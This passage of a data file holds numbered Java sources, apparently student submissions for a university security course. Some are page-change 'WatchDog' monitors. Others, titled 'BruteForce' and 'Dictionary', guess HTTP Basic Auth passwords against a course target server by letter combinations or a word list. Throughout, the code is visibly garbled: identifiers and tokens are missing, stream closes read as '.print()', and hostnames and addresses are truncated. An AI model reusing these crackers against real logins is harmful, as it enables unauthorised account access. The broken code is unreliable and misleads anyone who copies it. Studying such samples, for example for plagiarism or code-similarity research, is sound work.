codes[ data[ix] ] < 0 ) + --tempLen; + } + + + + + + int len = (tempLen / 4) * 3; + if ((tempLen % 4) == 3) len += 2; + if ((tempLen % 4) == 2) len += 1; + + byte[] out = new byte[len]; + + + + int shift = 0; + int accum = 0; + int index = 0; + + + for (int ix=0; ix255)? -1: codes[ data[ix] ]; + + if ( value >= 0 ) + { + accum <<= 6; + shift += 6; + accum |= value; + if ( shift >= 8 ) + { + shift -= 8; + out[index++] = + (byte) ((accum >> shift) & 0xff); + } + } + + + + + + + } + + + if( index != out.length) + { + throw new Error(""Miscalculated data length (wrote "" + index + "" instead of "" + out.length + "")""); + } + + return out; +} + + + + + +static private char[] alphabet = + ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="" + .toCharArray(); + + + + +static private byte[] codes = new byte[256]; +static { + for (int i=0; i<256; i++) codes[i] = -1; + for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)( i - 'A'); + for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a'); + for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0'); + codes['+'] = 62; + codes['/'] = 63; +} +}" +110.java," + + +import java.io.BufferedReader; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.PrintStream; +import java.net.MalformedURLException; +import java.net.URL; + +public class Watchdog { + static final String LOGON_SITE = WatchdogPropertyHelper.getProperty(""logonSite""); + static final String PREVIOUS_FILE_NAME = WatchdogPropertyHelper.getProperty(""previousFileName""); + static final String CURRENT_FILE_NAME = WatchdogPropertyHelper.getProperty(""currentFileName""); + static final String TIME_IN_MILLS = WatchdogPropertyHelper.getProperty(""timeInMilliseconds""); + + + static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(""smtpServer""); + static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(""recipient""); + static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(""sender""); + static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(""messageHeader""); + + private static final String COMMAND = WatchdogPropertyHelper.getProperty(""unixCommand""); + + + public static void main(String[] args) { + System.out.println("" Monitoring the Web : ""+ LOGON_SITE); + System.out.println(""The output of this is written the file: ""+ PREVIOUS_FILE_NAME); + System.out.println(""The webpage monitored every: ""+ TIME_IN_MILLS+ "" milliseconds""); + + Watchdog watchdog = new Watchdog(); + watchdog.accessWebPage(LOGON_SITE); + } + + public void accessWebPage( String urlString ) { + BufferedReader reader = null; + BufferedReader readerNew = null; + String data = null; + + + FileOutputStream out = null; + FileOutputStream outNew = null; + PrintStream p = null; + PrintStream pNew = null; + + URL url = null; + + + + while (true) { + try { + + out = new FileOutputStream(PREVIOUS_FILE_NAME); + + + p = new PrintStream( out ); + + url = new URL(urlString); + + reader = new BufferedReader (new InputStreamReader(url.openStream())); + + + + while (( data = reader.readLine()) != null ) { + p.println(data); + + } + System.out.println(""Completed writing the output the file: ""+ PREVIOUS_FILE_NAME); + + } + catch (MalformedURLException mfue) { + mfue.printStackTrace(); + } + catch (IOException ioe) { + ioe.printStackTrace(); + } + + finally { + p.close(); + } + + + + try { + + + + + System.out.println(""Sleeping for : ""+ TIME_IN_MILLS+ "" milliseconds""); + Thread.sleep(Integer.valueOf(TIME_IN_MILLS).intValue()); + + outNew = new FileOutputStream(CURRENT_FILE_NAME); + + + pNew = new PrintStream(outNew); + + + readerNew = new BufferedReader (new InputStreamReader(url.openStream())); + + while (( data = readerNew.readLine()) != null ) { + pNew.println(data); + + } + + System.out.println(""Completed writing the output the file: ""+ PREVIOUS_FILE_NAME); + } + catch (MalformedURLException mfue) { + mfue.printStackTrace(); + } + catch (IOException ioe) { + ioe.printStackTrace(); + } + + + catch (InterruptedException e) { + e.printStackTrace(); + } + + finally { + pNew.close(); + } + + + InputStream inputStream = null; + int count = 0; + + System.out.println("" comparing the the current content with the previous content ""); + + System.out.println(""Executing the command: "" + COMMAND); + + try { + + + + Process process = Runtime.getRuntime().exec(COMMAND); + + process.waitFor(); + + inputStream = process.getInputStream(); + + } catch (Exception e) { + + System.out.println(""Error Executing the command: "" + COMMAND+ ""\n "" + e.toString()); + } + + + + + try { + + + + count = inputStream.available(); + + if (count > 0) { + byte[] buffer = new byte[count]; + inputStream.read(buffer); + + String stdout = new String(buffer); + + System.out.println(""The following changes has occured in the web ""); + System.out.println(stdout); + + + Mailsend.send(SMTP_SERVER, RECIPIENT_EMAIL, SENDER_EMAIL, MESSAGE_HEADER, stdout); + } + + else { + System.out.println("" has been change the site""); + } + + } catch (Exception g) { + + System.out.println(""Exception: "" + g.toString()); + } + } + + } + + + public Watchdog() { + + } + + +} + + +" +075.java," + + + +import java.io.*; +import java.net.*; + +public class WatchDog +{ + public static void main(String args[]) throws InterruptedException, MalformedURLException, IOException + { + final String fullurl = ""http://www.cs.rmit.edu./students/""; + final int waitperiod = 1000*60*60*24; + final String email = ""@cs.rmit.edu.""; + lastmodified = 0; + lastmodifiedsave = 0; + boolean first = true; + URL url = new URL(fullurl); + while(true) + { + URLConnection uc = url.openConnection(); + lastmodified = uc.getLastModified(); + if(first) + { + + lastmodifiedsave = lastmodified; + first = false; + Execute ex1 = new Execute(""wget -q -nc -O ""+fullurl); + } + + if(lastmodified != lastmodifiedsave) + { + lastmodifiedsave = lastmodified; + + Execute ex2 = new Execute(""mv .old""); + + Execute ex3 = new Execute(""wget -q -nc -O ""+fullurl); + Execute ex4 = new Execute(""echo \""The ""+fullurl+"" was modified, here the modifications:\"" > pagediff""); + + Execute ex5 = new Execute(""diff .old >> pagediff""); + + Execute ex6 = new Execute(""mailx -s \"" modification\"" \""""+email+""\"" < pagediff""); + System.out.println(""Modification notice! Check your mail.""); + } + + + Thread.sleep(waitperiod); + } + } +} +" +037.java,"import java.io.*; +import java.util.*; +import java.text.*; +import java.net.*; +import java.security.*; + + + +public class WatchDog extends Thread +{ + + + public static void main (String args[]) + { + WatchDog watcher = new WatchDog(); + watcher.run(); + } + + + public void run() + { + DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); + twentyFourHours = 24 * 60 * 60 * 1000; + + + writeProgramLog(""Program started at "" + longTimestamp.format(new Date())); + while(true) + { + writeProgramLog(""Running run at "" + longTimestamp.format(new Date())); + compare(); + try + { + sleep(twentyFourHours); + } + catch(InterruptedException e) + { + writeProgramLog(""Program terminated at "" + longTimestamp.format(new Date())); + System.exit(0); + } + } + } + + + private void compare() + { + + + + String watchDogFile = ""watchDogHash_rcroft.""; + String watchDogPageFile = ""watchDogPage_rcroft.html""; + + File watchDogLogFile = new File(watchDogFile); + + if(!watchDogLogFile.exists()) + { + + + + + + WebPage targetPage = getPage(); + if(targetPage.getSuccess()) + { + byte[] newHash = calcHash(targetPage.getPageContents()); + writeHash(newHash, watchDogFile); + writePage(targetPage.getPageContents(), watchDogPageFile); + } + } + else + { + try + { + + + + + + + WebPage targetPage = getPage(); + if(targetPage.getSuccess()) + { + + byte[] oldHash = new byte[16]; + byte[] newHash = calcHash(targetPage.getPageContents()); + + + DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile)); + inWatchDogFile.readFully(oldHash); + inWatchDogFile.print(); + + + + + if(!java.util.Arrays.equals(oldHash, newHash)) + { + String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents()); + mail(differences); + writeHash(newHash, watchDogFile); + writePage(targetPage.getPageContents(), watchDogPageFile); + } + } + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + } + } + + + + private String enumerateDifferences(String oldPageFileName, String newPageData) + { + String differences = """"; + File newFile = null; + + try + { + + + newFile = File.createTempFile(""new"", ""tmp""); + String tempFilePath = newFile.getAbsolutePath(); + DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath)); + outFile.writeBytes(newPageData); + outFile.print(); + + + String commandLine = ""diff "" + oldPageFileName + "" "" + tempFilePath; + Process p = Runtime.getRuntime().exec(commandLine); + BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line; + while((line = diffs.readLine()) != null) + differences += line + ""\n""; + diffs.print(); + newFile.delete(); + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + return differences; + } + + + private void mail(String mailMessage) + { + + Vector emailAddresses = new Vector(); + String watchDogEmailFile = ""watchDogEmail_rcroft.txt""; + + + File emailFile = new File(watchDogEmailFile); + if(emailFile.exists()) + { + try + { + + BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile))); + String line; + while ((line = inWatchDogEmailFile.readLine()) != null) + { + line = line.trim(); + if((line != """") && (line != ""\n"")) + emailAddresses.add(line); + } + inWatchDogEmailFile.print(); + } + catch(FileNotFoundException e) + { + writeProgramLog(""Exception: "" + e); + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + } + else + { + emailAddresses.add(""@yallara.cs.rmit.edu.""); + emailAddresses.add(""rac@acslink.aone.net.""); + } + + if(emailAddresses.size() > 0) + { + try + { + String fromAddress = ""From: "" + ""WatchDog Program ()"" + "" <"" + System.getProperty(""user.name"") + ""@"" + InetAddress.getLocalHost().getHostName() + "">""; + DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); + String subject = ""Subject: [SEC project] Notification of target file changes ("" + longTimestamp.format(new Date()) +"")""; + for(int i = 0; i < emailAddresses.size(); i++) + { + String toAddress = (String) emailAddresses.get(i); + try + { + URL mailURL = new URL(""mailto: "" + toAddress); + URLConnection mailConnection = mailURL.openConnection(); + mailConnection.setDoInput(false); + mailConnection.setDoOutput(true); + mailConnection.connect(); + PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream())); + mailWriter.print("": "" + toAddress + ""\n""); + mailWriter.print(fromAddress + ""\n""); + mailWriter.print(subject + ""\n""); + mailWriter.print(mailMessage); + mailWriter.print(); + writeProgramLog(""\tNotification mailed in this run.""); + } + catch(MalformedURLException e) + { + writeProgramLog(""Exception: "" + e); + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + } + } + catch(UnknownHostException e) + { + writeProgramLog(""Exception: "" + e); + } + } + } + + + + private void writeHash(byte [] newHash, String fileName) + { + try + { + DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName)); + outFile.write(newHash, 0, newHash.length); + outFile.print(); + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + } + + + private void writePage(String newPage, String fileName) + { + try + { + DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName)); + outFile.writeBytes(newPage); + outFile.print(); + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + } + + + + private void writeProgramLog(String comment) + { + String fileName = ""watchDogLog_rcroft.txt""; + try + { + DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true)); + outFile.writeBytes(comment + ""\n""); + outFile.flush(); + outFile.print(); + } + catch(IOException e) + { + + + System.out.println(""Exception: "" + e); + } + } + + + private WebPage getPage() + { + WebPage tempWebPage = new WebPage(); + try + { + + + + String urlName = ""http://www.cs.rmit.edu./students/""; + URL targetURL= new URL(urlName); + HttpURLConnection connection = (HttpURLConnection) targetURL.openConnection(); + + + connection.connect(); + connection.getResponseCode(); + if(connection.getResponseCode() == 200) + { + String fileContents = """"; + BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream())); + String line; + while((line = in.readLine()) != null) + fileContents = fileContents + line + ""\n""; + in.print(); + tempWebPage.setPageContents(fileContents); + tempWebPage.setSuccess(true); + connection.disconnect(); + } + else + { + writeProgramLog(""Failed connect "" + connection.getResponseCode()); + } + } + catch(IOException e) + { + writeProgramLog(""Exception "" + e); + } + return tempWebPage; + } + + + private byte[] calcHash(String pageContents) + { + byte[] outHash = null; + try + { + MessageDigest msg = MessageDigest.getInstance(""""); + msg.reset(); + msg.update(pageContents.getBytes()); + outHash = msg.digest(); + msg.reset(); + } + catch(NoSuchAlgorithmException e) + { + writeProgramLog(""Exception: "" + e); + } + return outHash; + } + +} +" +065.java,"import java.*; +import java.io.*; +import java.String; +import java.util.*; + +public class BruteForce +{ + public static void main (String [] args) + { + try + { + Date d = new Date(); + String file = ""index.html""; + String file1 = ""passwd.""; + String line =""""; + String [] cmd = new String[4]; + cmd[0] = ""wget""; + cmd[1] = ""--http-user=""; + cmd[3] = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + File f = new File(file); + FileReader fr = new FileReader(file1); + BufferedReader in = new BufferedReader(fr); + while((line = in.readLine())!=null) + { + Date end = new Date(); + cmd[2] = pass(line); + Runtime.getRuntime().exec(cmd); + if(f.exists()) + { + System.out.println("" have found your pasword""); + System.out.println(""the time: "" + d.getMinutes() +"":""+ d.getSeconds()); + System.out.println(""the end time: "" + end.getMinutes() +"":""+ end.getSeconds()); + break; + } + System.out.println(cmd[2]); + } + } + catch(IOException e) + { + System.out.println(""hello try""); + } + } + +public static String pass(String str) +{ + return ""--http-passwd="" + str; +} + +}" +132.java," +import java.net.*; +import java.io.*; +import java.awt.*; + + +public class WatchDog extends Thread +{ + private String myUrl = ""http://yallara.cs.rmit.edu./~""; + private PrintWriter p; + private int changes = 0, flag = 0; + private int FLAG = -1; + private String fileName; + + + public static void main (String args[]) + { + WatchDog wd = new WatchDog(); + } + + + public WatchDog() + { + readFile(""file1.txt"", flag); + + } + + + public void run() + { + try + { + + + sleep(86400); + readFile(""file2.txt"",1); + } + catch(Exception e) + { } + } + + + public void readFile(String fileName, int flag) + { + String data; + + File file = new File(fileName); + file.delete(); + + + + try + { + FileOutputStream fos = new FileOutputStream(fileName,true); + PrintWriter pw = new PrintWriter(fos); + + URL url = new URL (myUrl); + URLConnection urlCon = url.openConnection(); + + InputStream is = (InputStream)urlCon.getInputStream(); + InputStreamReader isr = new InputStreamReader(is); + BufferedReader = new BufferedReader(isr); + + + + + + { + data = sw.readLine(); + pw.println(data); + } while (data != null); + + pw.close(); + + } + catch (Exception e) + { } + + + + if(flag == 0) + { } + else + { + if(flag == 1) + { + detectChanges(); + } + } + } + + + public void detectChanges() + { + File file = new File(""difference.txt""); + file.delete(); + String message = """", data =""""; + + try + { + + + FileOutputStream fos = new FileOutputStream(""difference.txt"",true); + PrintWriter pw = new PrintWriter(fos); + + Process ps = Runtime.getRuntime().exec(""diff file1.txt file2.txt""); + PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream())); + + pw.println(readInputStream(ps.getInputStream())); + pw.println(""\n""); + pw.close(); + + + + + if(changes == 1) + { + FileReader f = new FileReader(""difference.txt""); + BufferedReader bf = new BufferedReader(f); + + + Socket = new Socket(""wombat.cs.rmit.edu."", 25); + p = new PrintWriter(bf.getOutputStream()); + + sendMail(null); + sendMail(""HELO cs.rmit.edu.""); + sendMail(""MAIL FROM: @.rmit.edu.""); + sendMail(""RCPT : @.rmit.edu.""); + sendMail(""DATA""); + + + { + message = new String(message + data +""\n""); + } while ((data = bf.readLine()) != null); + + + p.print(message); + sendMail("".""); + + } + } + catch(Exception e) + { } + } + + + + public void sendMail(String text) + { + if(text == null) + { } + else + { + TextArea message = new TextArea(); + + message.append(text); + message.append(""\n""); + + p.println(text); + p.flush(); + } + } + + String readInputStream(InputStream is) + { + String str; + StringBuffer buf = new StringBuffer(); + InputStream isr = new BufferedInputStream(is); + int check = 0; + + try + { + + { + buf.append((char)check); + changes = 1; + } while((check = isr.get()) != FLAG); + } + catch(IOException ioe) + { } + + str = buf.toString(); + + return str; + } +} +" +147.java,"import java.net.*; +import java.io.*; +import java.util.*; + +public class Dictionary { + + public static void main(String[] args) { + new CrackAttempt(); + } +} + +class CrackAttempt { + public CrackAttempt() { + final int MAX_LENGTH = 3; + boolean auth = false; + Date = new Date(); + String file = ""/usr/share/lib/dict/words""; + String word; + char[] password = new char[MAX_LENGTH]; + String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + + while (!auth) { + + BufferedReader in = null; + try { + + in = new BufferedReader(new FileReader(file)); + while ((word = in.readLine()) != null && !auth) { + try { + if (word.length() <= MAX_LENGTH) { + password = word.toCharArray(); + + Authenticator.setDefault(new CrackAuth(password)); + URL url = new URL(resource); + HttpURLConnection conn = (HttpURLConnection)url.openConnection(); + conn.setRequestMethod(""HEAD""); + if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { + System.out.println(""cracked with "" + new String(password)); + auth = true; + } + } + } catch (Exception e) { + System.out.println("" was exception: "" + e.getMessage()); + } + } + + + } catch (FileNotFoundException fnfe) { + System.out.println(""File Not Found""); + } catch (IOException ioe) { + System.out.println(""IOException""); + } catch(Exception e) { + e.printStackTrace(); + } finally { + try { + in.close(); + } catch (Exception e) {;} + } + + + } + if (!auth) { + System.out.println(""Unable determine password""); + } else { + time = (new Date()).getTime() - start.getTime(); + System.out.println(""it took "" + String.valueOf(time) + "" milliseconds crack the password""); + } + } +} + +class CrackAuth extends Authenticator { + char[] password; + public CrackAuth(char[] password) { + this.password = password; + } + + protected PasswordAuthentication getPasswordAuthentication() + { + String user = """"; + return new PasswordAuthentication(user, password); + } +} +" +099.java," + +import java.net.*; +import java.io.*; +import java.io.IOException; +import java.util.*; +import java.*; + + +public class BruteForce { + public static void main (String[] args) throws Exception { + int maxChar = 26, counter=0, x =0, attempt =0 ; + String guess = new String(); + String pass, inputLine; + String letter[] = {"""", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"", ""n"", ""o"", + ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z"" , ""A"", ""B"", ""C"", ""D"", ""E"" + , ""F"", ""G"", ""H"", ""I"", ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", + ""W"", ""X"", ""Y"", ""Z""}; + + boolean flag=false; + + System.out.println(System.currentTimeMillis()/1000); + + for (int i=0; i diff.html""}; + + String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""SEC Assignment2 part2\"" < diff.html""}; + String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy1""}; + String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy1""}; + String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy2""}; + String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy2""}; + + Process p4; + Process p5; + + Process c1 = Runtime.getRuntime().exec(""mkdir copy1""); + c1.waitFor(); + Process c2 = Runtime.getRuntime().exec(""mkdir copy2""); + c2.waitFor(); + + + Process p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); + p1.waitFor(); + + Process a11 = Runtime.getRuntime().exec(s2); + a11.waitFor(); + Process a12 = Runtime.getRuntime().exec(s3); + a12.waitFor(); + + + Thread.sleep(86400000); + + Process p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); + p3.waitFor(); + + Process a21 = Runtime.getRuntime().exec(s4); + a21.waitFor(); + Process a22 = Runtime.getRuntime().exec(s5); + a22.waitFor(); + + try + { + String str; + p4 = Runtime.getRuntime().exec(s); + DataInputStream dis = new DataInputStream(p4.getInputStream()); + p4.waitFor(); + System.out.println(""\t\t\tWATCHDOG PROGRAM""); + System.out.println(""\t\t\t****************""); + + + System.out.println(""If any change in the web then the value 1""); + System.out.println(""If is change then the value 0 ""); + System.out.println(""The value :"" + p4.exitValue()); + try + { + while ((str = dis.readLine()) != null) + { + System.out.println(str); + } + } + catch (IOException e) + { + System.exit(0); + } + + } + catch(FileNotFoundException e) + { + e.printStackTrace(); + } + + BufferedReader in = new BufferedReader(new FileReader(""diff.html"")); + + if (in.readLine() != null) + { + + try + { + String str1; + p5 = Runtime.getRuntime().exec(s1); + DataInputStream dis1 = new DataInputStream(p5.getInputStream()); + p5.waitFor(); + System.out.println(""u have received a mail""); + try + { + while ((str1 = dis1.readLine()) != null) + { + System.out.println(str1); + } + } + catch (IOException e1) + { + System.exit(0); + } + + } + catch(FileNotFoundException ie1) + { + ie1.printStackTrace(); + } + + } + } + } +}" +066.java,"import java.io.*; +import java.util.*; +import java.Object; +import java.String; + +class WatchDog +{ + public static void main (String [] args) + { + try{ + int i = 0, day1,change = 0; + Date dt = new Date(); + i = dt.getDate(); + System.out.println(); + Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students""); + System.out.println(""THE PROGRAMMING IS RUNNING,IF WANT EXIT,PRESS CTRL + Z\n""); + System.out.println(""Today is: "" + dt ); + for(int i= 1 ; i > 0; i++) + { + Date dt1 = new Date(); + day1 = dt1.getDate(); + if( i != day1) + { + System.out.println(""this is: "" + i ); + i = day1; + change = check_web(); + } + if (change == 1) + break; + } + } + catch(IOException ex) + { + System.out.println(""hello,try""); + } + } + + public static int check_web() + { + try{ + int ch=0; + String line=""""; + String file = ""index.html""; + String file1 = ""index.html.1""; + Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students""); + Runtime.getRuntime().exec(""diff index.html index.html.l > diff.""); + File f = new File(""diff.""); + if (f.length()!=0) + { + ch = 1; + Runtime.getRuntime().exec(""mail @cs.rmit.edu. < diff.""); + } + else + System.out.println(""the webpage was not changed!!!""); + File f1 = new File(file); + File f2 = new File(file1); + if(ch == 1) + { + f1.delete(); + } + else + f2.delete(); + + return ch; + } + catch(IOException e) + { + System.out.println(""hello,try again!!!""); + return 1; + } + } + +} +" +008.java," + +import java.io.*; +import java.*; + +public class BruteForce +{ + public static void main(String args[]) + { + String s = null; + String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + + + String alphabets = new String(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); + + String password = null; + int len = 0; + int num_tries = 0; + + len = alphabets.length(); + + + for (int i=0; i 0) + { + urlPath = args[0]; + System.out.println(""URL "" + urlPath); + Dictionary dict = new Dictionary(urlPath); + } + else{ + System.out.println(""Please enter URL at command prompt""); + System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); + } + + System.exit(0); + + } + + + public Dictionary(String urlPath) throws Exception + { + linkToWeb(urlPath); + + } + + public boolean linkToWeb(String urlPath) throws Exception + { + HttpURLConnection connection; + String word = null; + String usrName = """"; + String usrNamePwd = null; + String encoding = null; + URL = new URL(urlPath); + + + BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); + word = inputStream.readLine(); + + while(word != null) + { + + if(word.length() <= 3){ + + usrNamePwd = usrName +"":""+ word; + encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); + connection = (HttpURLConnection).openConnection(); + connection.setRequestProperty(""Authorization"", "" "" + encoding); + + System.out.println(word); + + if(connection.getResponseCode() == 200){ + System.out.println(""Password Found "" +word); + return true; + } + connection.disconnect(); + } + word = inputStream.readLine(); + + } + + System.out.println(""Password not found"" ); + return false; + + } + + + + public class Base64Converter + { + + public final char [ ] alphabet = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' }; + + public String encode ( String s ) + { + return encode ( s.getBytes ( ) ); + } + + public String encode ( byte [ ] octetString ) + { + int bits24; + int bits6; + + char [ ] out + = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; + + int outIndex = 0; + int i = 0; + + while ( ( i + 3 ) <= octetString.length ) + { + + bits24 = ( octetString [ i++ ] & 0xFF ) << 16; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + + } + + + + +} + +" +247.java,"import java.io.*; +import java.net.*; + + + + + + + + + + + +public class BruteForce +{ + private String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + private static String password; + private static int length; + private static int t_counter; + private static int f_counter; + + private static int cases; + + private static int respCode; + + public BruteForce() + { + Authenticator.setDefault(new BruteForceAuthenticator()); + t_counter = 0; + f_counter = 0; + cases = 0; + } + + public static void main (String[] args) + { + BruteForce bf = new BruteForce(); + String file = "" ""; + while(respCode != 200) + { + file = bf.fetchURL(); + } + System.out.println(""Number of attempts: "" + t_counter); + System.out.println(""Password: "" + password); + System.out.println(file); + } + + private String fetchURL() + { + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(); + + try + { + URL url = new URL(urlString); + HttpURLConnection huc = (HttpURLConnection)url.openConnection(); + respCode = huc.getResponseCode(); + InputStream content = huc.getInputStream(); + BufferedReader in = + new BufferedReader (new InputStreamReader (content)); + String line; + while ((line = in.readLine()) != null) + { + pw.println(line); + } + } catch (IOException e) { + pw.println(""Error URL""); + } + return sw.toString(); + } + + class BruteForceAuthenticator extends Authenticator + { + private String username = """"; + + protected PasswordAuthentication getPasswordAuthentication() + { + return new PasswordAuthentication(username,generatePassword()); + } + + protected char[] generatePassword() + { + int i,j,k; + int n = 26; + String letters1 = ""qwertyuiopasdfghjklzxcvbnm""; + String letters2 = ""abcdefghijklmnopqrstuvwxyz""; + + i=0; + j=0; + k=0; + + + + if(t_counter == 0) + { + length = 1; + cases = 0; + f_counter = 0; + } + if(t_counter == 2*n) + { + length = 2; + cases = 0; + f_counter = 0; + } + if(t_counter == (2*n + 4*n*n)) + { + length = 3; + cases = 0; + f_counter = 0; + } + + char c[] = new char[length]; + + + + if(length == 1) + { + if(f_counter == n) + { + cases++; + f_counter = 0; + } + i = f_counter; + + } else if(length == 2) + { + if(f_counter == n*n) + { + cases++; + f_counter = 0; + } + i = f_counter/n; + j = f_counter - i*n; + + } else if(length == 3) + { + if(f_counter == n*n*n) + { + cases++; + f_counter = 0; + } + i = f_counter/(n*n); + j = (f_counter - i*n*n)/n; + k = f_counter - i*n*n - j*n; + } + + + switch(cases) + { + case 0: + c[0] = letters1.charAt(i); + if(length > 1) c[1] = letters1.charAt(j); + if(length > 2) c[2] = letters1.charAt(k); + break; + case 1: + c[0] = Character.toUpperCase(letters1.charAt(i)); + if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j)); + if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k)); + break; + case 2: + c[0] = Character.toUpperCase(letters1.charAt(i)); + c[1] = letters1.charAt(j); + if(length > 2) c[2] = letters1.charAt(k); + break; + case 3: + c[0] = letters1.charAt(i); + c[1] = Character.toUpperCase(letters1.charAt(j)); + if(length > 2) c[2] = letters1.charAt(k); + break; + case 4: + c[0] = letters1.charAt(i); + c[1] = letters1.charAt(j); + c[2] = Character.toUpperCase(letters1.charAt(k)); + break; + case 5: + c[0] = Character.toUpperCase(letters1.charAt(i)); + c[1] = Character.toUpperCase(letters1.charAt(j)); + c[2] = letters1.charAt(k); + break; + case 6: + c[0] = letters1.charAt(i); + c[1] = Character.toUpperCase(letters1.charAt(j)); + c[2] = Character.toUpperCase(letters1.charAt(k)); + break; + case 7: + c[0] = Character.toUpperCase(letters1.charAt(i)); + c[1] = letters1.charAt(j); + c[2] = Character.toUpperCase(letters1.charAt(k)); + break; + default: + break; + } + + f_counter++; + t_counter++; + + password = new String(c); + return c; + } + } +} +" +009.java," + +import java.util.*; +import java.text.*; +import java.io.*; +import java.*; +import java.net.*; + +public class WatchDog +{ + public static void main(String args[]) + { + String s = null; + String webpage = ""http://www.cs.rmit.edu./students/""; + + + String file1 = ""file1""; + String file2 = ""file2""; + + try + { + Process p = Runtime.getRuntime().exec(""wget -O "" + file1 + "" "" + webpage); + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + while ((s = stdInput.readLine()) != null) { + System.out.println(s); + } + + + while ((s = stdError.readLine()) != null) { + System.out.println(s); + } + + try + { + p.waitFor(); + } + catch (InterruptedException g) + { + } + 